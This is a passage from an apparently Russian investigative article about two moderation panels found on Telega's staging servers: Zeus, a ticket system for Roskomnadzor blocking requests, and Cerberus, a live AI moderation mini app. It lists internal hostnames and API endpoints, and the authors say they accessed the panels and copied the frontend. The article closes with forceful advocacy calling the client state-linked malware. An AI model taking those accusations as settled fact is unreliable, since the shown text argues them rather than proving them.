«Дезинформация в крупном канале», «Комбинированный контент: текст + медиа»
Примечательно, что в некоторых тестовых данных email-адрес отправителя обращений указан как [email protected], а источник — «РКН», что прямо указывает на интеграцию с Роскомнадзором.
Механизм блокировки ресурсов
При нажатии кнопки «Заблокировать» у привязанной ссылки открывается диалог с:
Срок блокировки: 1 час, 1 день, 7 дней, 30 дней, навсегда
Внутренний комментарий (обязательно) — для модераторов
Публичный комментарий (до 320 символов) — текст, который видит пользователь
Готовые шаблоны публичных комментариев для разных типов ресурсов:
Тип ресурса
Шаблон сообщения
Канал
«Этот канал недоступен в связи с ограничением доступа»
Группа
«Эта группа недоступна в связи с ограничением доступа»
Пользователь
«Этот пользователь недоступен в связи с ограничением доступа»
Бот
«Этот бот недоступен в связи с ограничением доступа»
Текст / Медиа / Голос / Видео / Файл
«Это [текстовое сообщение / медиаматериал / …] недоступно»
При блокировке к сообщению автоматически добавляется основание, например:
Этот канал недоступен в связи с ограничением доступа. Основание: РКН решение №AUTO-140 от 20.03.2026.
Это схоже с функциональностью BlacklistedOverlay из клиента Telega, описанной выше в разделе «Система модерации» (там формулировка — «нарушения правил платформы», здесь — «ограничение доступа»), но в Zeus видно, что блокировка инициируется модераторами по запросу РКН.
Аналитика
Панель аналитики показывает:
Количество обращений за период (7/30/90 дней) с разбивкой по проектам
Открытый пул — количество необработанных обращений
SLA-риск — количество обращений с истекающим или просроченным дедлайном
Качество закрытия — доля закрытых кейсов, средний возраст открытых
Срез по статусам: новое, в работе, закрыто, истекает SLA, не решено, отклонено
Нагрузка по исполнителям с SLA-алертами
Системные алерты:
QUEUE_SPIKE(всплеск обращений),BIG_CHANNEL_BLOCK_ATTEMPT(крупный канал требует подтверждения lead),SLA_BREACH(превышен дедлайн)
Предположительное использование
Судя по имеющемуся функционалу — тикет-система для обработки запросов от государственных структур (прежде всего РКН) на блокировку контента внутри Telega. Модераторы обрабатывают обращения, блокируют каналы/пользователей/ботов прямо из панели, а пользователи видят плашку «недоступен в связи с ограничением доступа» — схожую с BlacklistedOverlay из клиента.
Панель Cerberus
Данный сервис находился на следующем поддомене: cerberus-webapp[.]telega[.]info с бэкендом на cerberus-api[.]stage.telega[.]info. В отличие от Zeus, Cerberus представляет собой Telegram Mini App (подключает telegram-web-app.js) и предназначен для оперативной модерации сообщений в реальном времени.
Во время наличия доступа был найден mock-сервер (эмуляция серверной части с тестовыми данными вместо реальных). Забэкаплен почти полный фронтенд приложения.
Архитектура
Приложение построено на React и общается с API по следующим эндпоинтам:
/v1/miniapp/auth — авторизация через Telegram Mini App
/v1/miniapp/bootstrap — начальная загрузка конфигурации
/v1/miniapp/config — настройки модерации
/v1/miniapp/messages — получение сообщений
/v1/miniapp/messages/context — контекст сообщения
/v1/miniapp/messages/kpi — метрики очереди
/v1/miniapp/events — поток событий
/v1/miniapp/actions/{id} — действие над конкретным сообщением
/v1/miniapp/actions/batch — массовые действия
Функционал
Live Feed сообщений — «Лента модерации» — живая очередь сообщений пользователей с быстрыми действиями и переходом в контекст треда. Поддерживает паузу и фильтрацию. Для каждого сообщения отображается автор, ID, источник (основной чат / комментарии к посту), время и статус модерации.

Доступные быстрые действия:
miniapp.action.delete— удаление сообщенияminiapp.action.ban— бан пользователяminiapp.action.reply— ответ пользователюescalate— эскалация на вышестоящего модератора
При выборе сообщения можно перейти в «Фокус на треде» — контекст треда с отдельной прокруткой:

ИИ-модерация — сообщения могут проходить через ИИ-анализатор, который присваивает:
ai_violation_type— тип нарушения (например,spam)ai_suggested_action— рекомендуемое действие (например,deleteилиallow)AI confidence score (отображается как
AI XX%)
На скриншотах видно, как это работает: обычные сообщения получают AI 12% → allow (низкая уверенность в нарушении, рекомендация — пропустить), а спамные — spam | AI 91% → delete (высокая уверенность, рекомендация — удалить). Подпись «Сообщение поднято в приоритет модерации правилами или AI» указывает на автоматическую приоритизацию.
Поиск по сообщениям — отдельная страница с поиском по тексту сообщения, username или ID пользователя с расширенными фильтрами:

Настройки автомодерации — страница с конфигурируемыми параметрами:

Два режима модерации:
Ассистент — сбалансированный режим с умеренной автоматизацией
Строгий режим — меньше терпимости к подозрительным сообщениям, быстрее удаление
Пороги AI:
Порог токсичности (по умолчанию: 80%)
Порог спама (по умолчанию: 85%)
Автоматические действия:
Автоудаление уверенных нарушений — автоматически удалять сообщения выше порога (включено по умолчанию)
Автобан повторных нарушителей — блокировать при повторных нарушениях после лимита (выключено по умолчанию)
Уведомлять операторов — показывать уведомления о подозрительных событиях и авто-действиях (включено по умолчанию)
Лимиты:
Сообщений за окно (по умолчанию: 10)
Окно в секундах (по умолчанию: 60)
Автобан после нарушений (по умолчанию: 3)
Списки слов:
Чёрный список (пример:
scam, casino)Белый список (пример:
admin)
Команда модерации — управление составом команды и ролями участников:

Роли: Владелец, Администратор, Модератор. Участники добавляются по Telegram ID, для каждого можно разрешить или запретить доступ к miniapp. На скриншоте видно 8 участников (6 активных), часть модераторов отключена.
Аналитика — сводка по сообщениям и действиям модерации:

Ключевые метрики: всего сообщений, на проверке, подозрительные (совпадения правил и AI), одобрено, удалено (авто и ручные), эскалировано, активные модераторы. Разбивка по типам нарушений (спам, токсичность), графики по минутам и дням, источники сообщений.
Отличия от Zeus
Zeus
Cerberus
Тип
Веб-панель
Telegram Mini App
Назначение
Тикет-система (обработка обращений РКН)
Оперативная модерация в реальном времени
ИИ
Нет
Есть (классификация нарушений, рекомендации, пороги)
Автоматизация
Ручная обработка
Автобан, автоудаление по порогам
Фид сообщений
Нет (только тикеты)
Live feed с быстрыми действиями
TL;DR: На тестовых стендах Telega были обнаружены две панели модерации: Zeus — тикет-система для обработки запросов от РКН (с email [email protected]) и прочих структур на блокировку каналов, ботов, пользователей; и Cerberus — Telegram Mini App для оперативной модерации сообщений в реальном времени с ИИ-анализом, автобаном и автоудалением по настраиваемым порогам токсичности и спама.
Не пользуйтесь клиентом Telega — это Мах на минималках
Надеемся, эта статья послужит исчерпывающим доказательством того, что Telega — на самом деле не безобидный маленький стартап из Казани, а самое настоящее вредоносное ПО, в худшем случае имеющее связи и поддерживаемое государством.
Если кто-то из ваших близких и знакомых пользуется этим клиентом — настоятельно убедите их удалить его и завершить сессию в настройках аккаунта. Один пользователь Telega лишает приватности не только себя, но и всех своих собеседников без их согласия — они даже не знают об этом.
Использование Telega — это примерно то же самое, как если бы вы взяли телефон незнакомого человека, зашли на нем в свой аккаунт Telegram и отдали навсегда этот телефон обратно. А у этого человека есть родственник, который работает в полиции.
Для восстановления работоспособности Telegram пользуйтесь исключительно официальным клиентом и встроенной функцией прокси-серверов. Использование любого другого клиента Telegram точно также ставит ваши персональные данные, аккаунт и устройство под угрозу.
В каком-то смысле Telega даже хуже чем Мах — в государственном мессенджере у вас нет нескольких лет истории переписок со всеми вашими знакомыми, которые можно было бы прочитать, проанализировать, подписаны ли вы на "неугодные" каналы, а самое главное, при использовании Telega вы думаете, что все ваши данные надежно защищены — это же Telegram, а не Мах!
Обновлено 1. Мы — оригинальные авторы расследования. Мы сами не ожидали, что модерация будет длиться так долго. Мы очень признательны модерации Хабра за то, что всё-таки они выложили материал.
Обновлено 2. Материал на сайте dontusetelega.lol будет самым актуальным. Подписывайтесь на https://t.me/arewemitmingyet, чтобы быть в курсе событий!
